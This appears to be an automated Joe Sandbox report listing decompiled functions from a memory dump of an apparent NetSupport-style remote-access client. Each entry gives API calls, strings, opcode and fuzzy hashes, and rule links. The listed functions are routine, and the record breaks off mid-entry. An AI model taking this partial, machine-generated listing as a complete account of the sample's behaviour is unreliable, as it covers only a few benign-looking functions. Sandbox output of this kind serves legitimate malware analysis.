String ID: #%d$..\ctl32\util.cpp$i < _tsizeof (buf)
API String ID: 1985783259-2296142801
Opcode ID: 74c0a5bdbb0b764e858cc1f7afd52fdb49af151022e5f3ed446820e6430d86d5
Instruction ID: b1a6c5171231f01418375ac6f2de6c12625a8d09d3611db16d7d0d369645f93a
Opcode Fuzzy Hash: 74c0a5bdbb0b764e858cc1f7afd52fdb49af151022e5f3ed446820e6430d86d5
Instruction Fuzzy Hash: FA11A5FAE00128ABC720DB65ED81FAAF77C9B4461DF000565EB19B6141EA35AA05C7A8

Function 1110F420 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 1110F439

Part of subcall function 11162B51: __FF_MSGBANNER.LIBCMT ref: 11162B6A
Part of subcall function 11162B51: __NMSG_WRITE.LIBCMT ref: 11162B71
Part of subcall function 11162B51: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162B96

wsprintfA.USER32 ref: 1110F454

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

_memset.LIBCMT ref: 1110F477

Strings

..\ctl32\Refcount.cpp, xrefs: 1110F465
Can't alloc %u bytes, xrefs: 1110F44E

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: wsprintf$AllocateErrorExitHeapLastMessageProcess_malloc_memset
String ID: ..\ctl32\Refcount.cpp$Can't alloc %u bytes
API String ID: 3234921582-2664294811
Opcode ID: 483ab18efc666d7fafa6765eedd91fa0800c96548fafe518ebc1f691375ec46a
Instruction ID: e8e28b36a5a63397ef775e95fa380a20e388029766e4784519104262db02a7f0
Opcode Fuzzy Hash: 483ab18efc666d7fafa6765eedd91fa0800c96548fafe518ebc1f691375ec46a
Instruction Fuzzy Hash: 1CF0F6B5E0012863C720AFA5AC06FEFF37C9F91658F440169EE04A7241EA71BA11C7E9

Function 11145AE0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 37libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 111450A0: GetVersionExA.KERNEL32(111F0EF0,75BF8400), ref: 111450D0
Part of subcall function 111450A0: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 1114510F
Part of subcall function 111450A0: _memset.LIBCMT ref: 1114512D
Part of subcall function 111450A0: _strncpy.LIBCMT ref: 111451FA

LoadLibraryA.KERNEL32(shcore.dll,00000000,?,11030690,00000002), ref: 11145AFF
GetProcAddress.KERNEL32(00000000,SetProcessDpiAwareness), ref: 11145B11
FreeLibrary.KERNEL32(00000000,?,11030690,00000002), ref: 11145B24

Strings

SetProcessDpiAwareness, xrefs: 11145B0B
shcore.dll, xrefs: 11145AFA

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeLoadOpenProcVersion_memset_strncpy
String ID: SetProcessDpiAwareness$shcore.dll
API String ID: 1108920153-1959555903
Opcode ID: 84c8b7a82ef375d59f410a45cba939869921b52f6e49d691c42b1d567085cd2e
Instruction ID: 699a5c6b52ff0bb6954823876d42b720b76b3255f49526743c1f98bd9e848574
Opcode Fuzzy Hash: 84c8b7a82ef375d59f410a45cba939869921b52f6e49d691c42b1d567085cd2e
Instruction Fuzzy Hash: 67F0A03A70022877E21416BAAC08F9ABB5A8BC8A75F140230F928D69C0EB51C90086B5

Function 11031870 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 78COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 11031926

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

clientinv.cpp, xrefs: 1103189E
051829, xrefs: 11031907
%s%s.bin, xrefs: 11031920
m_pDoInv == NULL, xrefs: 110318A3

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: wsprintf$ErrorExitLastMessageProcess
String ID: %s%s.bin$051829$clientinv.cpp$m_pDoInv == NULL
API String ID: 4180936305-3347479217
Opcode ID: 84e0b1850b63e3f6f9fe70c2d5af7440bbdd732114a0c990adb36dbba2c833c3
Instruction ID: 64da4217f7417b153db366359b1c36bd372b32cb55e7c28d29c46c6ec3487e21
Opcode Fuzzy Hash: 84e0b1850b63e3f6f9fe70c2d5af7440bbdd732114a0c990adb36dbba2c833c3
Instruction Fuzzy Hash: 5421A1B9E04709AFD710CF65DC81BAAB7F4FB88718F40453EE86597680EB35A9008B65

Function 11144670 Relevance: 7.6, APIs: 5, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(11144D48,00000000,?,11144D48,00000000), ref: 1114468C
__strdup.LIBCMT ref: 111446A7

Part of subcall function 11081B40: _strrchr.LIBCMT ref: 11081B4E

Part of subcall function 11144670: _free.LIBCMT ref: 111446CE

_free.LIBCMT ref: 111446DC

Part of subcall function 11162BE5: HeapFree.KERNEL32(00000000,00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162BFB
Part of subcall function 11162BE5: GetLastError.KERNEL32(00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162C0D

CreateDirectoryA.KERNEL32(11144D48,00000000,?,?,?,11144D48,00000000), ref: 111446E7

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: _free$AttributesCreateDirectoryErrorFileFreeHeapLast__strdup_strrchr
String ID:
API String ID: 398584587-0
Opcode ID: 1d6e66add7aa45a35b25948c47e98be79544d5c3af84ae5a96c3b7650b6c772d
Instruction ID: 9245e394badc27c9d68c775c1ae1103ae8f1f8453310ecf51c29309078bed6c3
Opcode Fuzzy Hash: 1d6e66add7aa45a35b25948c47e98be79544d5c3af84ae5a96c3b7650b6c772d
Instruction Fuzzy Hash: F4016D7A7441065BF301197D7C057ABBB8C8F82AADF144032F89DC3D80F752E41682A1

Function 1100ED70 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 1100EDA2

Part of subcall function 11160824: _setlocale.LIBCMT ref: 11160836

_free.LIBCMT ref: 1100EDB4

Part of subcall function 11162BE5: HeapFree.KERNEL32(00000000,00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162BFB
Part of subcall function 11162BE5: GetLastError.KERNEL32(00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162C0D

_free.LIBCMT ref: 1100EDC7
_free.LIBCMT ref: 1100EDDA
_free.LIBCMT ref: 1100EDED

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLastLocinfo::_Locinfo_dtor_setlocalestd::_
String ID:
API String ID: 3515823920-0
Opcode ID: e9cccfb890659d646b87ebb6d02808fc30e7ad32e75d4fdbd2f602c0bae7d034
Instruction ID: 71b49ece8787e94f553dd036e4ff5c8d0ec16ff98238e97fea1187b5179b4c62
Opcode Fuzzy Hash: e9cccfb890659d646b87ebb6d02808fc30e7ad32e75d4fdbd2f602c0bae7d034
Instruction Fuzzy Hash: E61190B1D046109BD620DF599C40A5BF7FCEB44754F144A2AE456D3780E672F900CB91

Function 11145910 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 51COMMON

Download Yara Rule

APIs

Part of subcall function 11144BD0: GetModuleFileNameA.KERNEL32(00000000,?,00000104,11194AB8), ref: 11144C3D
Part of subcall function 11144BD0: SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,1110F4CB), ref: 11144C7E
Part of subcall function 11144BD0: SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 11144CDB

wsprintfA.USER32 ref: 1114593E
wsprintfA.USER32 ref: 11145954

Part of subcall function 11143230: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,1110F4CB,75BF8400,?), ref: 111432C7
Part of subcall function 11143230: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 111432E7
Part of subcall function 11143230: CloseHandle.KERNEL32(00000000), ref: 111432EF

Strings

NSM.LIC, xrefs: 11145923
%sNSM.LIC, xrefs: 11145938
%sNSA.LIC, xrefs: 1114594E

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: File$CreateFolderPathwsprintf$CloseHandleModuleName
String ID: %sNSA.LIC$%sNSM.LIC$NSM.LIC
API String ID: 3779116287-2600120591
Opcode ID: 67484a9d389779804940ba9c5ec62be4ee321b08fc9342a56252b28d4b9918b0
Instruction ID: 1f9a4f0ce9ce2038842d239495dc50e58c380b2d1dc072d0c6c391bd72002940
Opcode Fuzzy Hash: 67484a9d389779804940ba9c5ec62be4ee321b08fc9342a56252b28d4b9918b0
Instruction Fuzzy Hash: 9C01B1B990521D66CB109BB0AC41FEAF77C9B1470DF100199EC1996940EE21BA548BA4

Function 11143230 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,1110F4CB,75BF8400,?), ref: 111432C7
CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 111432E7
CloseHandle.KERNEL32(00000000), ref: 111432EF

Strings

", xrefs: 1114327E

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CreateFile$CloseHandle
String ID: "
API String ID: 1443461169-123907689
Opcode ID: 6335c3239e743a75aad2b4d26ce3924e96bfc614049b49f4e6d7105e566d10f2
Instruction ID: 150de81b6b92e27c68bcdd2e608667d56283c35638c5ea37a79585d4ca6bceb2
Opcode Fuzzy Hash: 6335c3239e743a75aad2b4d26ce3924e96bfc614049b49f4e6d7105e566d10f2
Instruction Fuzzy Hash: 38217C30A1C269AFE3128E78DD54FD9BBA49F45B14F3041E0E4999B1C1DBB1A948C750

Function 1102D0D0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

SetEvent.KERNEL32(?,Client,DisableGeolocation,00000000,00000000,A1BC2D8B,74DF2EE0,?,00000000,1118083B,000000FF,?,110300D6,UseIPC,00000001,00000000), ref: 1102D187

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

Part of subcall function 1110F520: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,76EEC3F0,?,1111022D,00000000,00000001,?,?,?,?,?,11031040), ref: 1110F53E

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 1102D14A

Strings

Client, xrefs: 1102D103
DisableGeolocation, xrefs: 1102D0FE

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Event$Create$__wcstoi64_malloc_memsetwsprintf
String ID: Client$DisableGeolocation
API String ID: 3315423714-4166767992
Opcode ID: a2dd62344aa7ed2eba45e03fd0b01f9a1bb13e0d2f8602a6c4817aeae004d655
Instruction ID: 1755caac6fc2658334c1ed2ebc8622a08952aff54e10c128aab6c20125b970ec
Opcode Fuzzy Hash: a2dd62344aa7ed2eba45e03fd0b01f9a1bb13e0d2f8602a6c4817aeae004d655
Instruction Fuzzy Hash: 8521E474A40315BBE712CFA8CD42B6EF7A4E708B18F500269F921AB3C0D7B5B8008785

Function 110271B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53windowCOMMON

Download Yara Rule

APIs

GetMessageA.USER32(?,00000000,00000000,00000000), ref: 110271DA

Part of subcall function 110CD550: EnterCriticalSection.KERNEL32(00000000,00000000,75BF3760,00000000,75C0A1D0,1105DCBB,?,?,?,?,11026543,00000000,?,?,00000000), ref: 110CD56B
Part of subcall function 110CD550: SendMessageA.USER32(00000000,00000476,00000000,00000000), ref: 110CD598
Part of subcall function 110CD550: SendMessageA.USER32(00000000,00000475,00000000,?), ref: 110CD5AA
Part of subcall function 110CD550: LeaveCriticalSection.KERNEL32(?,?,?,?,11026543,00000000,?,?,00000000), ref: 110CD5B4

TranslateMessage.USER32(?), ref: 110271F0
DispatchMessageA.USER32(?), ref: 110271F6

Strings

Exit Msgloop, quit=%d, xrefs: 1102722D

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Message$CriticalSectionSend$DispatchEnterLeaveTranslate
String ID: Exit Msgloop, quit=%d
API String ID: 3212272093-2210386016
Opcode ID: 4c35fe21e6f1fdccfd242282fb0e51879004b37df93db9ac228ac0a7d4dc8e25
Instruction ID: 083e85bce0718499e1b375aadfda5de5654481b636091be3423b85693ac47093
Opcode Fuzzy Hash: 4c35fe21e6f1fdccfd242282fb0e51879004b37df93db9ac228ac0a7d4dc8e25
Instruction Fuzzy Hash: 3D01D876E0521D66EB15DAE99C82F6FF3BD6B64718FD00065EE1092185F760F404CBA1

Function 110173F0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 110173FD

Part of subcall function 11017300: WaitForSingleObject.KERNEL32(00000300,000000FF), ref: 1101733C
Part of subcall function 11017300: CoInitialize.OLE32(00000000), ref: 11017345
Part of subcall function 11017300: _GetRawWMIStringW@16.PCICL32(Win32_ComputerSystem,00000001,?,?), ref: 1101736C
Part of subcall function 11017300: CoUninitialize.COMBASE ref: 110173D0

Part of subcall function 11017220: WaitForSingleObject.KERNEL32(00000300,000000FF), ref: 11017252
Part of subcall function 11017220: CoInitialize.OLE32(00000000), ref: 1101725B
Part of subcall function 11017220: _GetRawWMIStringW@16.PCICL32(Win32_SystemEnclosure,00000001,?,?), ref: 11017282
Part of subcall function 11017220: CoUninitialize.COMBASE ref: 110172E0

SetEvent.KERNEL32(00000300), ref: 1101741D
GetTickCount.KERNEL32 ref: 11017423

Strings

touchkbd, systype=%d, chassis=%d, took %d ms, xrefs: 1101742D

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CountInitializeObjectSingleStringTickUninitializeW@16Wait$Event
String ID: touchkbd, systype=%d, chassis=%d, took %d ms
API String ID: 3804766296-4122679463
Opcode ID: 66f2a400a49d4a3db1117531ae3dbc6183e4453ddcab9e324682772d92ed33ab
Instruction ID: c54e938b4ab1921e6220328725fe5e45cb955b1045b44cf9de438437e8313787
Opcode Fuzzy Hash: 66f2a400a49d4a3db1117531ae3dbc6183e4453ddcab9e324682772d92ed33ab
Instruction Fuzzy Hash: 47F0A0B6E1011C6BE700DBF9AC8AE6BBB9CDB4471CB100026F910C7245E9A6BC1087A1

Function 6C5D4FB0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 6C5D4FC4
